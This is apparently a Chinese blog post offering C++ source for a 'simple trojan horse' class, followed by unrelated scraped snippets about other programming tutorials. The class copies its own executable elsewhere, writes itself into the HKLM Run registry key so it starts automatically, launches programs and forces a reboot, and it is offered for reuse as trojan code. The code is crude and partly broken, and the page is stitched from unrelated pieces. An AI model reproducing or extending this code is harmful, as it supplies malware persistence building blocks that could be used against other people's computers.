使用visual c+编写简单的木马程序

如今人们谈“马”色变,因为木马危害用户计算机,窃取银行钱财,当然可以用杀毒软件搞定,其实木马编程也简单,编程语音,c+,易语言,c#都可以制作简单的木马悄悄运行于后台,这里以ivsual c+编写简单的木马为例:

Visual C++编程时用到了这些功能,现在我把它组装成一个很简单的木马了.

本代码已封装成类方便代码重用 :1,自我复制.2,修改注册表自动运行.3,关闭进程.4,启动程序.5,重启关机功能.

代码如下:class CTrojanHorse

{

public://add code

public://add code

CTrojanHorse();

~CTrojanHorse();

protected://add code

BOOL IfShell(CString BeKissPrcName);

BOOL CopyFileaddr(CString m_CopyFile);

void ShellFile(CString m_ShellFile);

BOOL SetAutoRun(CString strPath);

void ShutDown();

private://add code

};

CTrojanHorse::CTrojanHorse()

{

//add code

}

CTrojanHorse::~CTrojanHorse()

{

//add code

}

BOOL CTrojanHorse::IfShell(CString BeKissPrcName)//判断程序是否在运行

{

   CString str,a,prcnum;
   // CMainFrame *pDlg=(CMainFrame *)lparam;
  //AfxMessageBox(pDlg->BeKissPrcName);
   HANDLE SnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   SHFILEINFO shSmall;
   PROCESSENTRY32 ProcessInfo;//声明进程信息变量
   ProcessInfo.dwSize=sizeof(ProcessInfo);//设置ProcessInfo的大小

//返回系统中第一个进程的信息

BOOL Status=Process32First(SnapShot,&ProcessInfo);

int m_nProcess=0;

int num=0;

while(Status)

{ num++;

m_nProcess++;  

ZeroMemory(&shSmall,sizeof(shSmall));//获取进程文件信息
SHGetFileInfo(ProcessInfo.szExeFile,0,&shSmall,
sizeof(shSmall),SHGFI_ICON|SHGFI_SMALLICON);

//str.Format(“%08x”,ProcessInfo.th32ProcessID);

str=ProcessInfo.szExeFile;
if(str==BeKissPrcName)

{

AfxMessageBox(“找到进程成功!“);

return true;

}

//获取下一个进程的信息

Status=Process32Next(SnapShot,&ProcessInfo);

}

AfxMessageBox(“失败!“);

return false;

}

BOOL CTrojanHorse::CopyFileaddr(CString m_CopyFile)//复制文件

{

char pBuf[MAX_PATH];

CString m_addr;

// CString m_strSrcFile1=“D:/OperateFile.exe”;

// CString m_addr=“D:/SVCLSV.exe”; //存放路径的变量

GetCurrentDirectory(MAX_PATH,pBuf); //获取程序的当前目录

strcat(pBuf,“\“);

strcat(pBuf,AfxGetApp()->m_pszExeName);

strcat(pBuf,“.exe”);

m_addr=pBuf;

if(CopyFile(m_addr,m_CopyFile,FALSE))

{

AfxMessageBox(“复制成功!“);

return true;

}

return false;

}

void CTrojanHorse::ShellFile(CString m_ShellFile)//执行所要的程序

{

ShellExecute(NULL,“open”,m_ShellFile,NULL,NULL,SW_SHOWNORMAL);

}

BOOL CTrojanHorse::SetAutoRun(CString strPath)//修改注册表

{

   CString str;
   HKEY hRegKey;
   BOOL bResult;
   str=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
   if(RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey) != ERROR_SUCCESS)
        bResult=FALSE;
   else
   {
        _splitpath(strPath.GetBuffer(0),NULL,NULL,str.GetBufferSetLength(MAX_PATH+1),NULL);
        strPath.ReleaseBuffer();
        str.ReleaseBuffer();
        if(::RegSetValueEx( hRegKey,
                                 str,
                                 0,
                                 REG_SZ,
                                 (CONST BYTE *)strPath.GetBuffer(0),
                                 strPath.GetLength() ) != ERROR_SUCCESS)
              bResult=FALSE;
        else
              bResult=TRUE;
        strPath.ReleaseBuffer

}

   return bResult;

}

void CTrojanHorse::ShutDown()//重新启动计算机

{

if (IDYES == MessageBox(“是否现在重新启动计算机?“, “注册表提示”, MB_YESNO))

{

OSVERSIONINFO OsVerInfo; //保存系统版本信息的数据结构

OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

GetVersionEx(&OsVerInfo);//取得系统的版本信息

CString str1 = ““, str2 = ““;

str1.Format(“你的系统信息 版本为:%d.%d ”, OsVerInfo.dwMajorVersion,

OsVerInfo.dwMinorVersion);

str2.Format(“型号:%d ”, OsVerInfo.dwBuildNumber);

str1 += str2;

AfxMessageBox(str1);

if(OsVerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)

ExitWindowsEx(EWX_REBOOT | EWX_SHUTDOWN, 0); //重新启动计算机

}

}

代码编写完毕,生成exercise 程序

时间: 2024-11-08 02:37:15

使用visual c+编写简单的木马程序的相关文章

C#编写简单的聊天程序(转)

这是一篇基于Socket进行网络编程的入门文章,我对于网络编程的学习并不够深入,这篇文章是对于自己知识的一个巩固,同时希望能为初学的朋友提供一点参考.文章大体分为四个部分:程序的分析与设计.C#网络编程基础(篇外篇).聊天程序的实现模式.程序实现. 程序的分析与设计 1.明确程序功能 如果大家现在已经参加了工作,你的经理或者老板告诉你,“小王,我需要你开发一个聊天程序”.那么接下来该怎么做呢?你是不是在脑子里有个雏形,然后就直接打开VS2005开始设计窗体,编写代码了呢?在开始之前,我们首先需要

使用JAVAEE编写简单的加法程序

首先选择菜单file-new-maven project,勾选"Create a &simple project (skip archetype selection)"项: 新建Maven项目,新建完成项目之后首先配置web.xml(WEB-INF目录下)文件找到<welcome-file>修改为你新建的主页面的名称及文件名</welcome-file>,我新建的是add所以为<welcome-file>add.jsp</welcome

java编写简单的累加程序

package demo; public class CommanParameter { public static void main(String args[]){ System.out.println("参数个数"+args.length);//输出参数的长度 int a,n=0; for(String arg:args){ a=Integer.parseInt(arg);//将输入的数据进行强制类型转化 n=n+a; } System.out.println(n); } }

JavaScript编写简单的抽奖程序

1.需求说明 某公司年终抽奖,需要有如下功能 1)可以根据实际情况设置到场人数的最大值 2) 点击“开始”,大屏幕滚动,点击“停止”,获奖者的编号出现在大屏幕上 3)在界面里显示全部奖项获奖人编号 4)不重复获奖 5)不会因为输入错误而导致抽奖结果异常. 2.代码呈上 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 TRANSITIONAL//EN"> <html> <head> <title>某公

JavaScriipt编写简单的抽奖程序

1.需求说明 某公司年终抽奖,需要有如下功能 1)可以根据实际情况设置到场人数的最大值 2) 点击"开始",大屏幕滚动,点击"停止",获奖者的编号出现在大屏幕上 3)在界面里显示全部奖项获奖人编号 4)不重复获奖 5)不会因为输入错误而导致抽奖结果异常. 2.代码呈上 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 TRANSITIONAL//EN"> <html> <head

如何编写简单的游戏程序?

//stone.cpp #include <graphics.h> #include <iostream.h> #include <conio.h> #include <bios.h> #include <stdlib.h> #include <time.h> #include <dos.h> const int Timer=0x1c; int count; int board[20][10]; const int ESC

JNI编程(一) —— 编写一个最简单的JNI程序

来自:http://chnic.iteye.com/blog/198745 忙了好一段时间,总算得了几天的空闲.貌似很久没更新blog了,实在罪过.其实之前一直想把JNI的相关东西整理一下的,就从今天开始吧.Here we go. JNI其实是Java Native Interface的简称,也就是java本地接口.它提供了若干的API实现了和Java和其他语言的通信(主要是C&C++).也许不少人觉得Java已经足够强大,为什么要需要JNI这种东西呢?我们知道Java是一种平台无关性的语言,平

Python编写简易木马程序(转载乌云)

Python编写简易木马程序 light · 2015/01/26 10:07 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码,安装配置JEDI插件可以参照这里: /tips/?id=4413 首先准备好我们需要的依赖库,python hook和pythoncom. 下载安装python hook 下载安装pythoncom模块:

怎么用visual studio2010编写c++程序|用visual studio2010编写c++程序的步骤

如何通过visual studio 2010编写一个简单的c++程序,随小编不一起看看如何编写. 首先打开visual studio 2010 点击软件左上角“文件-新建-项目”,选择“win32-win32控制台应用程序”,输入一个名称如简单程序,点击确定 点击“下一步”,勾选“空项目”,点击完成 右击源文件,“添加-新建项” 选择c++文件,输入名称如简单程序,单击添加 我们以hello world为例,编写如下代码,写好代码,点击“调试-开始执行(不调试)”,发现运行成功.